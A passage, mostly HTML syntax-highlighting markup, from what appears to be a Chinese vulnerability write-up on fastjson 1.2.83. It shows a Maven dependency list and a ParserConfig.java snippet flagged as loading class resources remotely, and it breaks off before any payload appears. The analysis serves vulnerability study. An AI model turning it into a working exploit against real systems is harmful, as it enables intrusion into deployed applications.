textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">compiler</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">target</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">1.8</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/maven.compiler.target&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">fastjson</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">1.2.83</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/fastjson.version&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">spring</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">boot</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">loader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">2.7.18</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/spring.boot.loader.version&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">asm</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(17, 102, 68);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">9.6</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/asm.version&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/properties&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">dependencies</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">dependency</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">groupId</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">com</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">alibaba</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/groupId&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">artifactId</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">fastjson</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/artifactId&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">$</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">{</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">fastjson</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/version&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/dependency&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">dependency</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">groupId</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">org</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">springframework</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">boot</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/groupId&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">artifactId</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">spring</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">-</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">boot</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">-</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">loader</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/artifactId&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">$</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">{</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">spring</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">boot</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">loader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/version&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/dependency&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">dependency</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">groupId</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">org</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">ow2</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">asm</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/groupId&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">artifactId</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">asm</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/artifactId&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&gt;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">$</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">{</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">asm</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">version</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/version&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/dependency&gt;</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&lt;</span></span></span><span style="box-sizing: border-box;color: rgb(255, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">/dependencies&gt;</span></span></span></span></pre><p cid="n273" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">漏洞的实际利用很简单</span></span></span></p><p cid="n274" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">在ParserConfig中，有这样一段代码</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n275" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// ParserConfig.java 第 1479-1503 行</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">boolean</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">jsonType</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">false</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">;</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">InputStream</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">is</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">;</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">try</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// 关键：把类名中的 . 替换成 /，拼成资源路径</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">typeName</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">replace</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;.&#39;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">, </span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#39;/&#39;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) </span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">+</span></span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;.class&#34;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">;</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">if</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">defaultClassLoader</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">!=</span></span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">is</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">defaultClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);  </span></span><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">// ← 远程加载！</span></span></span></span><br/><span role="presentation" style="box-sizing: 